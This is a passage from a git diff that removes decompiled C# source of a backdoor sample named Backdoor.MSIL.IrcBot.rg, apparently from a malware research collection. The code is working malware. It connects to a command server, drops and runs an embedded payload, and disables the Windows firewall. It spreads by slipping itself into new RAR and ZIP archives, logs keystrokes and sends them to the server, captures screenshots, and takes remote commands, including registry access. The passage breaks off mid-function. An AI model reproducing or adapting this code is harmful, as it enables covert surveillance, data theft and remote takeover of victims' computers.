- } - this.cc = 0; - } - } - try - { - if (this.WC.Connected()) - { - if (B.ISEND) - { - string T; - if (B.FT & !B.isFT) - { - B.isFT = true; - T = "#blue"; - this.SEND(ref T); - Thread.Sleep(100); - } - bool p = false; - string str = API.A1(ref p); - if (Operators.CompareString(this.LA, str, false) != 0) - { - if (Operators.CompareString(str, "", false) != 0) - { - this.LA = str; - T = "#3" + IND.Y + this.LA; - this.SEND(ref T); - } - } - } - } - else - { - this.Dis(); - this.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Dis(); - this.con(); - ProjectData.ClearProjectError(); - } - if (this.c0 > 3 & Operators.CompareString(B.XRec, "", false) == 0) - { - this.c0 = 1; - try - { - if (Operators.CompareString(Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(), this.IP, false) != 0) - { - this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(); - try - { - this.Dis(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.wL.Enabled = true; - } - - public void con() - { - Thread.Sleep(1500); - try - { - try - { - this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.CL(); - B.DS = false; - if (B.Fw) - { - try - { - string path = IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id); - byte[] p = n.My.Resources.Resources.P; - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(p, ref local); - System.IO.File.WriteAllBytes(path, bytes); - Interaction.Shell(IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id) + " " + Conversions.ToString(Process.GetCurrentProcess().Id)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (!B.netsh) - { - B.netsh = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.WC = new SocketsClient(); - if (B.Rec) - { - B.Rec = false; - this.WC.Connect(Strings.Split(B.XRec, ":")[0], Conversions.ToInteger(Strings.Split(B.XRec, ":")[1])); - } - else - this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Dis() - { - try - { - this.CL(); - B.DS = true; - B.ISEND = false; - this.WC.Disconnect(); - this.WC = (SocketsClient) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void SEND(ref string T) - { - try - { - this.WC.SendData(this.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void W0() - { - try - { - string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname; - this.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - ++num; - } - while (num <= 5); - string T = "#2" + IND.Y + str + IND.Y + B.Vname; - this.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - B.ISEND = true; - Thread.Sleep(100); - if (B.Fw) - { - try - { - Process.GetProcessesByName(Conversions.ToString(Process.GetCurrentProcess().Id))[0].Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Thread.Sleep(10); - System.IO.File.Delete(IND.TM + Process.GetCurrentProcess().Id.ToString()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.CL(); - B.DS = false; - } - - public void W1(string T) => this.CL(); - - public void W2() - { - this.CL(); - B.DS = true; - B.ISEND = false; - } - - public void W3(byte[] Data, int totBytes) - { - try - { - MemoryStream memoryStream1 = new MemoryStream(); - string Right = "nj-q8"; - byte[] bytes = new byte[5]; - int num = Data.Length - Right.Length; - for (int count = 0; count <= num; ++count) - { - bytes[0] = Data[count]; - bytes[1] = Data[count + 1]; - bytes[2] = Data[count + 2]; - bytes[3] = Data[count + 3]; - bytes[4] = Data[count + 4]; - if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0) - { - memoryStream1.Dispose(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(Data, 0, count); - this.WC.AT(memoryStream2.ToArray()); - if (Data.Length - memoryStream2.ToArray().Length <= 5) - break; - memoryStream2.ToArray(); - memoryStream2.Dispose(); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream3.Write(Data, count + 5, Data.Length - count - 10); - this.WC.AT(memoryStream3.ToArray()); - memoryStream3.Dispose(); - break; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void fs_Created(object sender, FileSystemEventArgs e) - { - try - { - if (!(e.FullPath.ToLower().EndsWith(".rar") | e.FullPath.ToLower().EndsWith(".zip"))) - return; - if (!System.IO.File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui)) - { - try - { - System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath)) - { - System.IO.File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui); - System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - foreach (string Right in B.Block) - { - if (Operators.CompareString(e.FullPath, Right, false) == 0) - return; - } - B.Block[B.inx] = e.FullPath; - ++B.inx; - Thread.Sleep(4000); - if (!System.IO.File.Exists(e.FullPath)) - return; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "winrar", - Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ++B.err; - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ++B.err; - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - - public class Key - { - private static Clock Clock = new Clock(); - private static Keyboard K = new Keyboard(); - - public static void Start() - { - try - { -label_9: - if (false) - return; - Thread.Sleep(10); - int i = 8; - do - { - if (B.Key.GetAsyncKeyState(i) == (short) -32767) - { - string Left; - if (Operators.CompareString(Left, B.Key.w(), false) == 0) - { - string S = B.Key.KK(ref i); - B.Key.Write(ref S); - } - else - { - if ((object) B.Key.w() != (object) "" & (object) B.Key.w() != (object) " ") - { - Left = B.Key.w(); - string S = B.Key.HM() + Left + "\r\n\r\n"; - B.Key.Write(ref S); - } - string S1 = B.Key.KK(ref i); - B.Key.Write(ref S1); - } - } - ++i; - } - while (i <= (int) byte.MaxValue); - goto label_9; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] "; - - public static void Write(ref string S) - { - if (B.KON) - { - try - { - B b = MyProject.Forms.B; - string str = "X" + IND.Y + S; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.KON = false; - ProjectData.ClearProjectError(); - } - } - byte[] bytes = Encoding.Default.GetBytes(S); - FileStream fileStream = new FileStream(Application.StartupPath + "\\" + B.exename, FileMode.Append); - fileStream.Write(bytes, 0, bytes.Length); - int length = (int) fileStream.Length; - fileStream.Close(); - if (length <= 20480) - return; - try - { - System.IO.File.Delete(Application.StartupPath + "\\" + B.exename); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string KK(ref int i) - { - string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\""; - string str = ")!@#$%^&*("; - switch (i) - { - case 8: - return "{BACKSPACE}"; - case 9: - return "{TAP}"; - case 12: - return "\r\n"; - case 13: - return "\r\n"; - case 27: - return "{ESC}"; - case 32: - return " "; - case 46: - return "{DEL}"; - case 186: - return B.Key.u() ? ":" : ";"; - case 187: - return B.Key.u() ? "+" : "="; - case 188: - return B.Key.u() ? "<" : ","; - case 189: - return B.Key.u() ? "_" : "-"; - case 190: - return B.Key.u() ? ">" : "."; - case 191: - return B.Key.u() ? "?" : "/"; - case 192: - return B.Key.u() ? "~" : "`"; - case 219: - return B.Key.u() ? "{" : "["; - case 220: - return B.Key.u() ? "|" : "\\"; - case 221: - return B.Key.u() ? "}" : "]"; - case 222: - return B.Key.u() ? "\"" : "'"; - default: - if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0) - return ""; - if (!B.Key.u()) - return Strings.ChrW(i).ToString().ToLower(); - try - { - int index = 0; - while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index) - { - ++index; - if (index > 9) - goto label_48; - } - return Conversions.ToString(str[index]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_48: - return Strings.ChrW(i).ToString().ToUpper(); - } - } - - public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown; - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string w() - { - string str; - try - { - IntPtr foregroundWindow = B.Key.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str = " "; - } - else - { - int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow); - string WinTitle = Strings.StrDup(windowTextLength + 1, "*"); - B.Key.GetWindowText(foregroundWindow, ref WinTitle, windowTextLength + 1); - int lpdwProcessID; - B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str = WinTitle; - } - else - { - try - { - str = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = WinTitle; - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = " "; - ProjectData.ClearProjectError(); - } - return str; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.csproj b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.csproj deleted file mode 100644 index 4eb21c93..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.csproj +++ /dev/null @@ -1,65 +0,0 @@ - - - - - Debug - AnyCPU - {B96B27EB-88BA-4344-9B5C-492899E75039} - WinExe - n - 0.0.0.0 - n - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.sln b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.sln deleted file mode 100644 index b13fc1d4..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "n", "Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.csproj", "{B96B27EB-88BA-4344-9B5C-492899E75039}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B96B27EB-88BA-4344-9B5C-492899E75039}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B96B27EB-88BA-4344-9B5C-492899E75039}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B96B27EB-88BA-4344-9B5C-492899E75039}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B96B27EB-88BA-4344-9B5C-492899E75039}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/C.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/C.cs deleted file mode 100644 index 421a3f79..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/C.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.C -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; - -namespace n -{ - public class C - { - public static byte[] Plug; - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - public static Image Capture(ref int hwd) - { - API.wd.ShowWindow(hwd, 5); - Thread.Sleep(100); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect((IntPtr) hwd, ref lpRect); - string str = Conversions.ToString(lpRect.top) + Conversions.ToString(lpRect.right) + Conversions.ToString(lpRect.left) + Conversions.ToString(lpRect.bottom); - int index = 0; - int num1; - for (int length = str.Length; index < length; ++index) - { - if (Operators.CompareString(Conversions.ToString(str[index]), "-", false) == 0) - ++num1; - } - if (num1 == 4) - { - ref int local1 = ref hwd; - int num2 = 2; - ref int local2 = ref num2; - API.wd.G(ref local1, ref local2); - ref int local3 = ref hwd; - int num3 = 1; - ref int local4 = ref num3; - API.wd.G(ref local3, ref local4); - C.GetWindowRect((IntPtr) hwd, ref lpRect); - } - Size blockRegionSize = new Size(lpRect.right, lpRect.bottom); - Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap1); - graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy); - graphics1.Dispose(); - Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap1.Dispose(); - Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top); - Graphics graphics2 = Graphics.FromImage((Image) bitmap2); - graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel); - graphics2.Dispose(); - return bitmap2.GetThumbnailImage((int) Math.Round((double) bitmap2.Width / 2.0 + (double) bitmap2.Width / 6.0), (int) Math.Round((double) bitmap2.Height / 2.0 + (double) bitmap2.Height / 6.0), (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - } - - public static byte[] Capture1(ref int q) - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - return new MemoryStream(sc.gc(ref q)).ToArray(); - int num; - switch (q) - { - case 0: - num = 65; - break; - case 1: - num = 60; - break; - case 2: - num = 55; - break; - case 3: - num = 50; - break; - case 4: - num = 45; - break; - case 5: - num = 40; - break; - case 6: - num = 35; - break; - case 7: - num = 30; - break; - case 8: - num = 25; - break; - case 9: - num = 20; - break; - case 10: - num = 10; - break; - } - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect(foregroundWindow, ref lpRect); - Size blockRegionSize = new Size(lpRect.right, lpRect.bottom); - Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap1); - graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy); - graphics1.Dispose(); - Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap1.Dispose(); - Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top); - Graphics graphics2 = Graphics.FromImage((Image) bitmap2); - graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel); - graphics2.Dispose(); - MemoryStream memoryStream = new MemoryStream(); - bitmap2.Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect); - - public struct RECT - { - public int left; - public int top; - public int right; - public int bottom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Delegates/T/T.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Delegates/T/T.cs deleted file mode 100644 index dddaf833..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Delegates/T/T.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Delegates.T.T -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace n.Delegates.T -{ - [StandardModule] - public sealed class T - { - public static void appendText(ref Form Frm, ref byte[] D) - { - if (Frm == null || Frm.IsDisposed) - return; - if (Frm.InvokeRequired) - { - n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText); - Frm.Invoke((Delegate) method, (object) Frm, (object) D); - } - else - IND.ind(D); - } - - private delegate void DELappendText(ref Form Frm, ref byte[] D); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/IND.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/IND.cs deleted file mode 100644 index 118f94aa..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/IND.cs +++ /dev/null @@ -1,2404 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.IND -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class IND - { - public static string TM = Interaction.Environ("temp") + "\\"; - public static string Y = "^:^"; - private static int ER; - public static int LPING; - public static chat Ca = new chat(); - private const int MOUSEEVENTF_ABSOLUTE = 32768; - private const int MOUSEEVENTF_LEFTDOWN = 2; - private const int MOUSEEVENTF_LEFTUP = 4; - private const int MOUSEEVENTF_MOVE = 1; - private const int MOUSEEVENTF_MIDDLEDOWN = 32; - private const int MOUSEEVENTF_MIDDLEUP = 64; - private const int MOUSEEVENTF_RIGHTDOWN = 8; - private const int MOUSEEVENTF_RIGHTUP = 16; - private static string pk; - - public static void inddd(string T) - { - RichTextBox t1 = B.Chat.T1; - t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n"; - } - - public static RegistryKey Rk(ref string p, ref bool W) - { - Array Instance = (Array) Strings.Split(p, "\\"); - object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null); - RegistryKey registryKey; - if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false)) - registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false)) - registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false)) - registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false)) - registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false)) - registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - return registryKey; - } - - public static void ind(byte[] Da) - { - IND.ER = 0; - string str1 = Encoding.UTF8.GetString(Da); - int num1; - try - { - Array Instance1 = (Array) Strings.Split(str1, IND.Y); - string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - int num2; - if (Operators.CompareString(Left1, "#KON", false) == 0) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "T", false)) - B.KON = true; - else - B.KON = false; - } - else if (Operators.CompareString(Left1, "#RG", false) == 0) - { - IND.ER = 1; - object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false)) - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num3 = 2; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num3; - objArray2[0] = (object) local1; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local2 = ref str2; - bool flag = false; - ref bool local3 = ref flag; - RegistryKey registryKey1 = IND.Rk(ref local2, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num3, - (object) str2 - }, (string[]) null, true, false); - RegistryKey registryKey2 = registryKey1; - string Right; - string s; - foreach (string subKeyName in registryKey2.GetSubKeyNames()) - { - string str3 = Right; - s = subKeyName + IND.Y + IND.Y + "Key"; - string str4 = API.ENB(ref s); - string y = IND.Y; - Right = str3 + str4 + y; - } - foreach (string valueName in 